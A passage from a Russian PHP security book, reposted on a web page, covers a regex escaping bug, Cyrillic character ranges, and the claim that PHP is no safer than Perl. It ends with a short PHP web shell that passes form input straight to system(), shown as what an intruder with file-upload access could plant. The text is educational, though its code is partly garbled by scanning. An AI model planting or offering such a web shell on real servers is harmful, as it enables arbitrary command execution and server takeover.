Войти или зарегистрироваться




РНР в руках хакера

 
В последнее время я стал замечать тенденцию, при которой многие администраторы отказываются от использования языка Perl на своих серверах. Почему? Дело в том, что в Интернете множество сценариев на Perl, которые позволяют упростить хакеру взлом сервера. Для того чтобы воспользоваться этими сценариями, необходимо иметь минимальные права в системе.

С другой стороны, бытует мнение, что РНР безопаснее. Глядя на размер книги и учитывая, как много мы говорили про безопасность, вы понимаете, что это мнение, мягко говоря, спорное. В реальности, любой язык программирования опасен в руках неопытного или невнимательного программиста, и любой язык безопасен в руках профессионала. Но даже профессионал может ошибиться, и буквально недавно я допустил такую ошибку в регулярном выражении:
$var=preg_replace("/[Ла-г0-9[] -_\n]/i", "", $var);
Данное выражение удаляет все, кроме букв, цифр, символов [ и ], пробелов, тире, подчеркиваний и символов перевода каретки. Беглый взгляд не показывает никаких ошибок, но если присмотреться, то окажется, что символы [ и ] являются служебными и объединяют набор допустимых символов. В данном случае в квадратных скобках ничего нет, а значит, выражению [ ] соответствует любой символ, а значит, функция preg_repiace () абсолютно ничего не вырежет. Проблема решается добавлением обратного слэша:
$ v a r = p r e g _ r e p l a c e ( " / [ Л а - г 0 - 9 \ [ \ ] - _ \ n ] / i " , " " , $ v a r ) ;
Примеры работы с РНР 273 Нередко программисты ошибаются при работе с русскими буквами. Если написать а-я, то в этот диапазон попадут все буквы кроме "ё". Эту букву необходимо указывать в явном виде:
$ v a r = p r e g _ r e p l a c e ( " / [ А а - г а - я ё 0 - 9 \ [ \ ] - _ \ n ] / i " , "", $ v a r ) ;
То, что на языке РНР меньше программ-эксплоитов, еще не значит, что РНР безопасен. Я пока не встречался с такой задачей, которую нельзя было бы реализовать в РНР, а если такая задача возникает, то всегда можно воспользоваться функцией system(), как мы это делали в разделе 5.8 при создании Web-варианта утилиты ping.
 
Тот факт, что в языке РНР мало хакерских утилит, никого не остановит. Например, если хакер получил доступ к FTP или любой другой доступ к созданию файлов на сервере, ему будет достаточно создать сценарий со следующим содержимым:
<?
<form action="system.php" method="get">
Command: <input name="sub_com">
<BR><input type="suhmit" value="Run">
</form>
<PRE>
<?php
system($sub_com);
print($sub_com);
?>
</PRE>

« Пред.
 
След. »


Самое популярное


Последние новости


Разделы форума

Все разделы форума

При перепечатке материалов ссылка на источник обязательна.

© Андрей Максимов, 2008-2011

Яндекс цитирования